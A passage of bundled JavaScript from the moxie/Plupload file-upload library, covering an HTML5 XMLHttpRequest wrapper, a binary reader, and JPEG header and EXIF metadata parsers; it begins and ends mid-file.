7012 "moxie/core/utils/Basic",
7013 "moxie/core/utils/Mime",
7014 "moxie/core/utils/Url",
7015 "moxie/file/File",
7016 "moxie/file/Blob",
7017 "moxie/xhr/FormData",
7018 "moxie/core/Exceptions",
7019 "moxie/core/utils/Env"
7020], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
7021
7022 function XMLHttpRequest() {
7023 var self = this
7024 , _xhr
7025 , _filename
7026 ;
7027
7028 Basic.extend(this, {
7029 send: function(meta, data) {
7030 var target = this
7031 , isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
7032 , isAndroidBrowser = Env.browser === 'Android Browser'
7033 , mustSendAsBinary = false
7034 ;
7035
7036 // extract file name
7037 _filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();
7038
7039 _xhr = _getNativeXHR();
7040 _xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);
7041
7042
7043 // prepare data to be sent
7044 if (data instanceof Blob) {
7045 if (data.isDetached()) {
7046 mustSendAsBinary = true;
7047 }
7048 data = data.getSource();
7049 } else if (data instanceof FormData) {
7050
7051 if (data.hasBlob()) {
7052 if (data.getBlob().isDetached()) {
7053 data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
7054 mustSendAsBinary = true;
7055 } else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
7056 // Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
7057 // Android browsers (default one and Dolphin) seem to have the same issue, see: #613
7058 _preloadAndSend.call(target, meta, data);
7059 return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
7060 }
7061 }
7062
7063 // transfer fields to real FormData
7064 if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
7065 var fd = new window.FormData();
7066 data.each(function(value, name) {
7067 if (value instanceof Blob) {
7068 fd.append(name, value.getSource());
7069 } else {
7070 fd.append(name, value);
7071 }
7072 });
7073 data = fd;
7074 }
7075 }
7076
7077
7078 // if XHR L2
7079 if (_xhr.upload) {
7080 if (meta.withCredentials) {
7081 _xhr.withCredentials = true;
7082 }
7083
7084 _xhr.addEventListener('load', function(e) {
7085 target.trigger(e);
7086 });
7087
7088 _xhr.addEventListener('error', function(e) {
7089 target.trigger(e);
7090 });
7091
7092 // additionally listen to progress events
7093 _xhr.addEventListener('progress', function(e) {
7094 target.trigger(e);
7095 });
7096
7097 _xhr.upload.addEventListener('progress', function(e) {
7098 target.trigger({
7099 type: 'UploadProgress',
7100 loaded: e.loaded,
7101 total: e.total
7102 });
7103 });
7104 // ... otherwise simulate XHR L2
7105 } else {
7106 _xhr.onreadystatechange = function onReadyStateChange() {
7107
7108 // fake Level 2 events
7109 switch (_xhr.readyState) {
7110
7111 case 1: // XMLHttpRequest.OPENED
7112 // readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
7113 break;
7114
7115 // looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
7116 case 2: // XMLHttpRequest.HEADERS_RECEIVED
7117 break;
7118
7119 case 3: // XMLHttpRequest.LOADING
7120 // try to fire progress event for not XHR L2
7121 var total, loaded;
7122
7123 try {
7124 if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
7125 total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
7126 }
7127
7128 if (_xhr.responseText) { // responseText was introduced in IE7
7129 loaded = _xhr.responseText.length;
7130 }
7131 } catch(ex) {
7132 total = loaded = 0;
7133 }
7134
7135 target.trigger({
7136 type: 'progress',
7137 lengthComputable: !!total,
7138 total: parseInt(total, 10),
7139 loaded: loaded
7140 });
7141 break;
7142
7143 case 4: // XMLHttpRequest.DONE
7144 // release readystatechange handler (mostly for IE)
7145 _xhr.onreadystatechange = function() {};
7146
7147 // usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
7148 if (_xhr.status === 0) {
7149 target.trigger('error');
7150 } else {
7151 target.trigger('load');
7152 }
7153 break;
7154 }
7155 };
7156 }
7157
7158
7159 // set request headers
7160 if (!Basic.isEmptyObj(meta.headers)) {
7161 Basic.each(meta.headers, function(value, header) {
7162 _xhr.setRequestHeader(header, value);
7163 });
7164 }
7165
7166 // request response type
7167 if ("" !== meta.responseType && 'responseType' in _xhr) {
7168 if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
7169 _xhr.responseType = 'text';
7170 } else {
7171 _xhr.responseType = meta.responseType;
7172 }
7173 }
7174
7175 // send ...
7176 if (!mustSendAsBinary) {
7177 _xhr.send(data);
7178 } else {
7179 if (_xhr.sendAsBinary) { // Gecko
7180 _xhr.sendAsBinary(data);
7181 } else { // other browsers having support for typed arrays
7182 (function() {
7183 // mimic Gecko's sendAsBinary
7184 var ui8a = new Uint8Array(data.length);
7185 for (var i = 0; i < data.length; i++) {
7186 ui8a[i] = (data.charCodeAt(i) & 0xff);
7187 }
7188 _xhr.send(ui8a.buffer);
7189 }());
7190 }
7191 }
7192
7193 target.trigger('loadstart');
7194 },
7195
7196 getStatus: function() {
7197 // according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
7198 try {
7199 if (_xhr) {
7200 return _xhr.status;
7201 }
7202 } catch(ex) {}
7203 return 0;
7204 },
7205
7206 getResponse: function(responseType) {
7207 var I = this.getRuntime();
7208
7209 try {
7210 switch (responseType) {
7211 case 'blob':
7212 var file = new File(I.uid, _xhr.response);
7213
7214 // try to extract file name from content-disposition if possible (might be - not, if CORS for example)
7215 var disposition = _xhr.getResponseHeader('Content-Disposition');
7216 if (disposition) {
7217 // extract filename from response header if available
7218 var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
7219 if (match) {
7220 _filename = match[2];
7221 }
7222 }
7223 file.name = _filename;
7224
7225 // pre-webkit Opera doesn't set type property on the blob response
7226 if (!file.type) {
7227 file.type = Mime.getFileMime(_filename);
7228 }
7229 return file;
7230
7231 case 'json':
7232 if (!Env.can('return_response_type', 'json')) {
7233 return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
7234 }
7235 return _xhr.response;
7236
7237 case 'document':
7238 return _getDocument(_xhr);
7239
7240 default:
7241 return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
7242 }
7243 } catch(ex) {
7244 return null;
7245 }
7246 },
7247
7248 getAllResponseHeaders: function() {
7249 try {
7250 return _xhr.getAllResponseHeaders();
7251 } catch(ex) {}
7252 return '';
7253 },
7254
7255 abort: function() {
7256 if (_xhr) {
7257 _xhr.abort();
7258 }
7259 },
7260
7261 destroy: function() {
7262 self = _filename = null;
7263 }
7264 });
7265
7266
7267 // here we go... ugly fix for ugly bug
7268 function _preloadAndSend(meta, data) {
7269 var target = this, blob, fr;
7270
7271 // get original blob
7272 blob = data.getBlob().getSource();
7273
7274 // preload blob in memory to be sent as binary string
7275 fr = new window.FileReader();
7276 fr.onload = function() {
7277 // overwrite original blob
7278 data.append(data.getBlobName(), new Blob(null, {
7279 type: blob.type,
7280 data: fr.result
7281 }));
7282 // invoke send operation again
7283 self.send.call(target, meta, data);
7284 };
7285 fr.readAsBinaryString(blob);
7286 }
7287
7288
7289 function _getNativeXHR() {
7290 if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
7291 return new window.XMLHttpRequest();
7292 } else {
7293 return (function() {
7294 var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
7295 for (var i = 0; i < progIDs.length; i++) {
7296 try {
7297 return new ActiveXObject(progIDs[i]);
7298 } catch (ex) {}
7299 }
7300 })();
7301 }
7302 }
7303
7304 // @credits Sergey Ilinsky (http://www.ilinsky.com/)
7305 function _getDocument(xhr) {
7306 var rXML = xhr.responseXML;
7307 var rText = xhr.responseText;
7308
7309 // Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
7310 if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
7311 rXML = new window.ActiveXObject("Microsoft.XMLDOM");
7312 rXML.async = false;
7313 rXML.validateOnParse = false;
7314 rXML.loadXML(rText);
7315 }
7316
7317 // Check if there is no error in document
7318 if (rXML) {
7319 if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
7320 return null;
7321 }
7322 }
7323 return rXML;
7324 }
7325
7326
7327 function _prepareMultipart(fd) {
7328 var boundary = '----moxieboundary' + new Date().getTime()
7329 , dashdash = '--'
7330 , crlf = '\r\n'
7331 , multipart = ''
7332 , I = this.getRuntime()
7333 ;
7334
7335 if (!I.can('send_binary_string')) {
7336 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
7337 }
7338
7339 _xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
7340
7341 // append multipart parameters
7342 fd.each(function(value, name) {
7343 // Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(),
7344 // so we try it here ourselves with: unescape(encodeURIComponent(value))
7345 if (value instanceof Blob) {
7346 // Build RFC2388 blob
7347 multipart += dashdash + boundary + crlf +
7348 'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
7349 'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
7350 value.getSource() + crlf;
7351 } else {
7352 multipart += dashdash + boundary + crlf +
7353 'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
7354 unescape(encodeURIComponent(value)) + crlf;
7355 }
7356 });
7357
7358 multipart += dashdash + boundary + dashdash + crlf;
7359
7360 return multipart;
7361 }
7362 }
7363
7364 return (extensions.XMLHttpRequest = XMLHttpRequest);
7365});
7366
7367// Included from: src/javascript/runtime/html5/utils/BinaryReader.js
7368
7369/**
7370 * BinaryReader.js
7371 *
7372 * Copyright 2013, Moxiecode Systems AB
7373 * Released under GPL License.
7374 *
7375 * License: http://www.plupload.com/license
7376 * Contributing: http://www.plupload.com/contributing
7377 */
7378
7379/**
7380@class moxie/runtime/html5/utils/BinaryReader
7381@private
7382*/
7383define("moxie/runtime/html5/utils/BinaryReader", [
7384 "moxie/core/utils/Basic"
7385], function(Basic) {
7386
7387
7388 function BinaryReader(data) {
7389 if (data instanceof ArrayBuffer) {
7390 ArrayBufferReader.apply(this, arguments);
7391 } else {
7392 UTF16StringReader.apply(this, arguments);
7393 }
7394 }
7395
7396 Basic.extend(BinaryReader.prototype, {
7397
7398 littleEndian: false,
7399
7400
7401 read: function(idx, size) {
7402 var sum, mv, i;
7403
7404 if (idx + size > this.length()) {
7405 throw new Error("You are trying to read outside the source boundaries.");
7406 }
7407
7408 mv = this.littleEndian
7409 ? 0
7410 : -8 * (size - 1)
7411 ;
7412
7413 for (i = 0, sum = 0; i < size; i++) {
7414 sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
7415 }
7416 return sum;
7417 },
7418
7419
7420 write: function(idx, num, size) {
7421 var mv, i, str = '';
7422
7423 if (idx > this.length()) {
7424 throw new Error("You are trying to write outside the source boundaries.");
7425 }
7426
7427 mv = this.littleEndian
7428 ? 0
7429 : -8 * (size - 1)
7430 ;
7431
7432 for (i = 0; i < size; i++) {
7433 this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
7434 }
7435 },
7436
7437
7438 BYTE: function(idx) {
7439 return this.read(idx, 1);
7440 },
7441
7442
7443 SHORT: function(idx) {
7444 return this.read(idx, 2);
7445 },
7446
7447
7448 LONG: function(idx) {
7449 return this.read(idx, 4);
7450 },
7451
7452
7453 SLONG: function(idx) { // 2's complement notation
7454 var num = this.read(idx, 4);
7455 return (num > 2147483647 ? num - 4294967296 : num);
7456 },
7457
7458
7459 CHAR: function(idx) {
7460 return String.fromCharCode(this.read(idx, 1));
7461 },
7462
7463
7464 STRING: function(idx, count) {
7465 return this.asArray('CHAR', idx, count).join('');
7466 },
7467
7468
7469 asArray: function(type, idx, count) {
7470 var values = [];
7471
7472 for (var i = 0; i < count; i++) {
7473 values[i] = this[type](idx + i);
7474 }
7475 return values;
7476 }
7477 });
7478
7479
7480 function ArrayBufferReader(data) {
7481 var _dv = new DataView(data);
7482
7483 Basic.extend(this, {
7484
7485 readByteAt: function(idx) {
7486 return _dv.getUint8(idx);
7487 },
7488
7489
7490 writeByteAt: function(idx, value) {
7491 _dv.setUint8(idx, value);
7492 },
7493
7494
7495 SEGMENT: function(idx, size, value) {
7496 switch (arguments.length) {
7497 case 2:
7498 return data.slice(idx, idx + size);
7499
7500 case 1:
7501 return data.slice(idx);
7502
7503 case 3:
7504 if (value === null) {
7505 value = new ArrayBuffer();
7506 }
7507
7508 if (value instanceof ArrayBuffer) {
7509 var arr = new Uint8Array(this.length() - size + value.byteLength);
7510 if (idx > 0) {
7511 arr.set(new Uint8Array(data.slice(0, idx)), 0);
7512 }
7513 arr.set(new Uint8Array(value), idx);
7514 arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);
7515
7516 this.clear();
7517 data = arr.buffer;
7518 _dv = new DataView(data);
7519 break;
7520 }
7521
7522 default: return data;
7523 }
7524 },
7525
7526
7527 length: function() {
7528 return data ? data.byteLength : 0;
7529 },
7530
7531
7532 clear: function() {
7533 _dv = data = null;
7534 }
7535 });
7536 }
7537
7538
7539 function UTF16StringReader(data) {
7540 Basic.extend(this, {
7541
7542 readByteAt: function(idx) {
7543 return data.charCodeAt(idx);
7544 },
7545
7546
7547 writeByteAt: function(idx, value) {
7548 putstr(String.fromCharCode(value), idx, 1);
7549 },
7550
7551
7552 SEGMENT: function(idx, length, segment) {
7553 switch (arguments.length) {
7554 case 1:
7555 return data.substr(idx);
7556 case 2:
7557 return data.substr(idx, length);
7558 case 3:
7559 putstr(segment !== null ? segment : '', idx, length);
7560 break;
7561 default: return data;
7562 }
7563 },
7564
7565
7566 length: function() {
7567 return data ? data.length : 0;
7568 },
7569
7570 clear: function() {
7571 data = null;
7572 }
7573 });
7574
7575
7576 function putstr(segment, idx, length) {
7577 length = arguments.length === 3 ? length : data.length - idx - 1;
7578 data = data.substr(0, idx) + segment + data.substr(length + idx);
7579 }
7580 }
7581
7582
7583 return BinaryReader;
7584});
7585
7586// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js
7587
7588/**
7589 * JPEGHeaders.js
7590 *
7591 * Copyright 2013, Moxiecode Systems AB
7592 * Released under GPL License.
7593 *
7594 * License: http://www.plupload.com/license
7595 * Contributing: http://www.plupload.com/contributing
7596 */
7597
7598/**
7599@class moxie/runtime/html5/image/JPEGHeaders
7600@private
7601*/
7602define("moxie/runtime/html5/image/JPEGHeaders", [
7603 "moxie/runtime/html5/utils/BinaryReader",
7604 "moxie/core/Exceptions"
7605], function(BinaryReader, x) {
7606
7607 return function JPEGHeaders(data) {
7608 var headers = [], _br, idx, marker, length = 0;
7609
7610 _br = new BinaryReader(data);
7611
7612 // Check if data is jpeg
7613 if (_br.SHORT(0) !== 0xFFD8) {
7614 _br.clear();
7615 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
7616 }
7617
7618 idx = 2;
7619
7620 while (idx <= _br.length()) {
7621 marker = _br.SHORT(idx);
7622
7623 // omit RST (restart) markers
7624 if (marker >= 0xFFD0 && marker <= 0xFFD7) {
7625 idx += 2;
7626 continue;
7627 }
7628
7629 // no headers allowed after SOS marker
7630 if (marker === 0xFFDA || marker === 0xFFD9) {
7631 break;
7632 }
7633
7634 length = _br.SHORT(idx + 2) + 2;
7635
7636 // APPn marker detected
7637 if (marker >= 0xFFE1 && marker <= 0xFFEF) {
7638 headers.push({
7639 hex: marker,
7640 name: 'APP' + (marker & 0x000F),
7641 start: idx,
7642 length: length,
7643 segment: _br.SEGMENT(idx, length)
7644 });
7645 }
7646
7647 idx += length;
7648 }
7649
7650 _br.clear();
7651
7652 return {
7653 headers: headers,
7654
7655 restore: function(data) {
7656 var max, i, br;
7657
7658 br = new BinaryReader(data);
7659
7660 idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;
7661
7662 for (i = 0, max = headers.length; i < max; i++) {
7663 br.SEGMENT(idx, 0, headers[i].segment);
7664 idx += headers[i].length;
7665 }
7666
7667 data = br.SEGMENT();
7668 br.clear();
7669 return data;
7670 },
7671
7672 strip: function(data) {
7673 var br, headers, jpegHeaders, i;
7674
7675 jpegHeaders = new JPEGHeaders(data);
7676 headers = jpegHeaders.headers;
7677 jpegHeaders.purge();
7678
7679 br = new BinaryReader(data);
7680
7681 i = headers.length;
7682 while (i--) {
7683 br.SEGMENT(headers[i].start, headers[i].length, '');
7684 }
7685
7686 data = br.SEGMENT();
7687 br.clear();
7688 return data;
7689 },
7690
7691 get: function(name) {
7692 var array = [];
7693
7694 for (var i = 0, max = headers.length; i < max; i++) {
7695 if (headers[i].name === name.toUpperCase()) {
7696 array.push(headers[i].segment);
7697 }
7698 }
7699 return array;
7700 },
7701
7702 set: function(name, segment) {
7703 var array = [], i, ii, max;
7704
7705 if (typeof(segment) === 'string') {
7706 array.push(segment);
7707 } else {
7708 array = segment;
7709 }
7710
7711 for (i = ii = 0, max = headers.length; i < max; i++) {
7712 if (headers[i].name === name.toUpperCase()) {
7713 headers[i].segment = array[ii];
7714 headers[i].length = array[ii].length;
7715 ii++;
7716 }
7717 if (ii >= array.length) {
7718 break;
7719 }
7720 }
7721 },
7722
7723 purge: function() {
7724 this.headers = headers = [];
7725 }
7726 };
7727 };
7728});
7729
7730// Included from: src/javascript/runtime/html5/image/ExifParser.js
7731
7732/**
7733 * ExifParser.js
7734 *
7735 * Copyright 2013, Moxiecode Systems AB
7736 * Released under GPL License.
7737 *
7738 * License: http://www.plupload.com/license
7739 * Contributing: http://www.plupload.com/contributing
7740 */
7741
7742/**
7743@class moxie/runtime/html5/image/ExifParser
7744@private
7745*/
7746define("moxie/runtime/html5/image/ExifParser", [
7747 "moxie/core/utils/Basic",
7748 "moxie/runtime/html5/utils/BinaryReader",
7749 "moxie/core/Exceptions"
7750], function(Basic, BinaryReader, x) {
7751
7752 function ExifParser(data) {
7753 var __super__, tags, tagDescs, offsets, idx, Tiff;
7754
7755 BinaryReader.call(this, data);
7756
7757 tags = {
7758 tiff: {
7759 /*
7760 The image orientation viewed in terms of rows and columns.
7761
7762 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
7763 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
7764 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
7765 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
7766 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
7767 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
7768 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
7769 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
7770 */
7771 0x0112: 'Orientation',
7772 0x010E: 'ImageDescription',
7773 0x010F: 'Make',
7774 0x0110: 'Model',
7775 0x0131: 'Software',
7776 0x8769: 'ExifIFDPointer',
7777 0x8825: 'GPSInfoIFDPointer'
7778 },
7779 exif: {
7780 0x9000: 'ExifVersion',
7781 0xA001: 'ColorSpace',
7782 0xA002: 'PixelXDimension',
7783 0xA003: 'PixelYDimension',
7784 0x9003: 'DateTimeOriginal',
7785 0x829A: 'ExposureTime',
7786 0x829D: 'FNumber',
7787 0x8827: 'ISOSpeedRatings',
7788 0x9201: 'ShutterSpeedValue',
7789 0x9202: 'ApertureValue' ,
7790 0x9207: 'MeteringMode',
7791 0x9208: 'LightSource',
7792 0x9209: 'Flash',
7793 0x920A: 'FocalLength',
7794 0xA402: 'ExposureMode',
7795 0xA403: 'WhiteBalance',
7796 0xA406: 'SceneCaptureType',
7797 0xA404: 'DigitalZoomRatio',
7798 0xA408: 'Contrast',
7799 0xA409: 'Saturation',
7800 0xA40A: 'Sharpness'
7801 },
7802 gps: {
7803 0x0000: 'GPSVersionID',
7804 0x0001: 'GPSLatitudeRef',
7805 0x0002: 'GPSLatitude',
7806 0x0003: 'GPSLongitudeRef',
7807 0x0004: 'GPSLongitude'
7808 },
7809
7810 thumb: {
7811 0x0201: 'JPEGInterchangeFormat',
7812 0x0202: 'JPEGInterchangeFormatLength'
7813 }
7814 };
7815
7816 tagDescs = {
7817 'ColorSpace': {
7818 1: 'sRGB',
7819 0: 'Uncalibrated'
7820 },
7821
7822 'MeteringMode': {
7823 0: 'Unknown',
7824 1: 'Average',
7825 2: 'CenterWeightedAverage',
7826 3: 'Spot',
7827 4: 'MultiSpot',
7828 5: 'Pattern',
7829 6: 'Partial',
7830 255: 'Other'
7831 },
7832
7833 'LightSource': {
7834 1: 'Daylight',
7835 2: 'Fliorescent',
7836 3: 'Tungsten',
7837 4: 'Flash',
7838 9: 'Fine weather',
7839 10: 'Cloudy weather',
7840 11: 'Shade',
7841 12: 'Daylight fluorescent (D 5700 - 7100K)',
7842 13: 'Day white fluorescent (N 4600 -5400K)',
7843 14: 'Cool white fluorescent (W 3900 - 4500K)',
7844 15: 'White fluorescent (WW 3200 - 3700K)',
7845 17: 'Standard light A',
7846 18: 'Standard light B',
7847 19: 'Standard light C',
7848 20: 'D55',
7849 21: 'D65',
7850 22: 'D75',
7851 23: 'D50',
7852 24: 'ISO studio tungsten',
7853 255: 'Other'
7854 },
7855
7856 'Flash': {
7857 0x0000: 'Flash did not fire',
7858 0x0001: 'Flash fired',
7859 0x0005: 'Strobe return light not detected',
7860 0x0007: 'Strobe return light detected',
7861 0x0009: 'Flash fired, compulsory flash mode',
7862 0x000D: 'Flash fired, compulsory flash mode, return light not detected',
7863 0x000F: 'Flash fired, compulsory flash mode, return light detected',
7864 0x0010: 'Flash did not fire, compulsory flash mode',
7865 0x0018: 'Flash did not fire, auto mode',
7866 0x0019: 'Flash fired, auto mode',
7867 0x001D: 'Flash fired, auto mode, return light not detected',
7868 0x001F: 'Flash fired, auto mode, return light detected',
7869 0x0020: 'No flash function',
7870 0x0041: 'Flash fired, red-eye reduction mode',
7871 0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
7872 0x0047: 'Flash fired, red-eye reduction mode, return light detected',
7873 0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
7874 0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
7875 0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
7876 0x0059: 'Flash fired, auto mode, red-eye reduction mode',
7877 0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
7878 0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
7879 },
7880
7881 'ExposureMode': {
7882 0: 'Auto exposure',
7883 1: 'Manual exposure',
7884 2: 'Auto bracket'
7885 },
7886
7887 'WhiteBalance': {
7888 0: 'Auto white balance',
7889 1: 'Manual white balance'
7890 },
7891
7892 'SceneCaptureType': {
7893 0: 'Standard',
7894 1: 'Landscape',
7895 2: 'Portrait',
7896 3: 'Night scene'
7897 },
7898
7899 'Contrast': {
7900 0: 'Normal',
7901 1: 'Soft',
7902 2: 'Hard'
7903 },
7904
7905 'Saturation': {
7906 0: 'Normal',
7907 1: 'Low saturation',
7908 2: 'High saturation'
7909 },
7910
7911 'Sharpness': {
7912 0: 'Normal',
7913 1: 'Soft',
7914 2: 'Hard'
7915 },
7916
7917 // GPS related
7918 'GPSLatitudeRef': {
7919 N: 'North latitude',
7920 S: 'South latitude'
7921 },
7922
7923 'GPSLongitudeRef': {
7924 E: 'East longitude',
7925 W: 'West longitude'
7926 }
7927 };
7928
7929 offsets = {
7930 tiffHeader: 10
7931 };
7932
7933 idx = offsets.tiffHeader;
7934
7935 __super__ = {
7936 clear: this.clear
7937 };
7938
7939 // Public functions
7940 Basic.extend(this, {
7941
7942 read: function() {
7943 try {
7944 return ExifParser.prototype.read.apply(this, arguments);
7945 } catch (ex) {
7946 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7947 }
7948 },
7949
7950
7951 write: function() {
7952 try {
7953 return ExifParser.prototype.write.apply(this, arguments);
7954 } catch (ex) {
7955 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
7956 }
7957 },
7958
7959
7960 UNDEFINED: function() {
7961 return this.BYTE.apply(this, arguments);
7962 },
7963
7964
7965 RATIONAL: function(idx) {
7966 return this.LONG(idx) / this.LONG(idx + 4)
7967 },
7968
7969
7970 SRATIONAL: function(idx) {
7971 return this.SLONG(idx) / this.SLONG(idx + 4)
7972 },
7973
7974 ASCII: function(idx) {
7975 return this.CHAR(idx);
7976 },
7977
7978 TIFF: function() {
7979 return Tiff || null;
7980 },
7981
7982
7983 EXIF: function() {
7984 var Exif = null;
7985
7986 if (offsets.exifIFD) {
7987 try {
7988 Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
7989 } catch(ex) {
7990 return null;
7991 }
7992
7993 // Fix formatting of some tags
7994 if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
7995 for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
7996 exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
7997 }
7998 Exif.ExifVersion = exifVersion;
7999 }
8000 }
8001
8002 return Exif;
8003 },
8004
8005
8006 GPS: function() {
8007 var GPS = null;
8008
8009 if (offsets.gpsIFD) {
8010 try {
8011 GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
8012 } catch (ex) {
8013 return null;
8014 }
8015
8016 // iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
8017 if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
8018 GPS.GPSVersionID = GPS.GPSVersionID.join('.');
8019 }
8020 }
8021
8022 return GPS;
8023 },
8024
8025
8026 thumb: function() {
8027 if (offsets.IFD1) {
8028 try {
8029 var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
8030
8031 if ('JPEGInterchangeFormat' in IFD1Tags) {
8032 return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
8033 }
8034 } catch (ex) {}
8035 }
8036 return null;
8037 },
8038
8039
8040 setExif: function(tag, value) {
8041 // Right now only setting of width/height is possible
8042 if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }
8043
8044 return setTag.call(this, 'exif', tag, value);
8045 },
8046
8047
8048 clear: function() {
8049 __super__.clear();
8050 data = tags = tagDescs = Tiff = offsets = __super__ = null;
8051 }
8052 });
8053
8054
8055 // Check if that's APP1 and that it has EXIF
8056 if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
8057 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8058 }
8059
8060 // Set read order of multi-byte data
8061 this.littleEndian = (this.SHORT(idx) == 0x4949);
8062
8063 // Check if always present bytes are indeed present
8064 if (this.SHORT(idx+=2) !== 0x002A) {
8065 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8066 }
8067
8068 offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
8069 Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);
8070
8071 if ('ExifIFDPointer' in Tiff) {
8072 offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
8073 delete Tiff.ExifIFDPointer;
8074 }
8075
8076 if ('GPSInfoIFDPointer' in Tiff) {
8077 offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
8078 delete Tiff.GPSInfoIFDPointer;
8079 }
8080
8081 if (Basic.isEmptyObj(Tiff)) {
8082 Tiff = null;
8083 }
8084
8085 // check if we have a thumb as well
8086 var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
8087 if (IFD1Offset) {
8088 offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
8089 }
8090
8091
8092 function extractTags(IFD_offset, tags2extract) {
8093 var data = this;
8094 var length, i, tag, type, count, size, offset, value, values = [], hash = {};
8095
8096 var types = {
8097 1 : 'BYTE',
8098 7 : 'UNDEFINED',
8099 2 : 'ASCII',
8100 3 : 'SHORT',
8101 4 : 'LONG',
8102 5 : 'RATIONAL',
8103 9 : 'SLONG',
8104 10: 'SRATIONAL'
8105 };
8106
8107 var sizes = {
8108 'BYTE' : 1,
8109 'UNDEFINED' : 1,
8110 'ASCII' : 1,
8111 'SHORT' : 2,
8112 'LONG' : 4,
8113 'RATIONAL' : 8,
8114 'SLONG' : 4,
8115 'SRATIONAL' : 8
8116 };
8117
8118 length = data.SHORT(IFD_offset);
8119
8120 // The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.
8121
8122 for (i = 0; i < length; i++) {
8123 values = [];
8124
8125 // Set binary reader pointer to beginning of the next tag
8126 offset = IFD_offset + 2 + i*12;
8127
8128 tag = tags2extract[data.SHORT(offset)];
8129
8130 if (tag === undefined) {
8131 continue; // Not the tag we requested
8132 }
8133
8134 type = types[data.SHORT(offset+=2)];
8135 count = data.LONG(offset+=2);
8136 size = sizes[type];
8137
8138 if (!size) {
8139 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8140 }
8141
8142 offset += 4;
8143
8144 // tag can only fit 4 bytes of data, if data is larger we should look outside
8145 if (size * count > 4) {
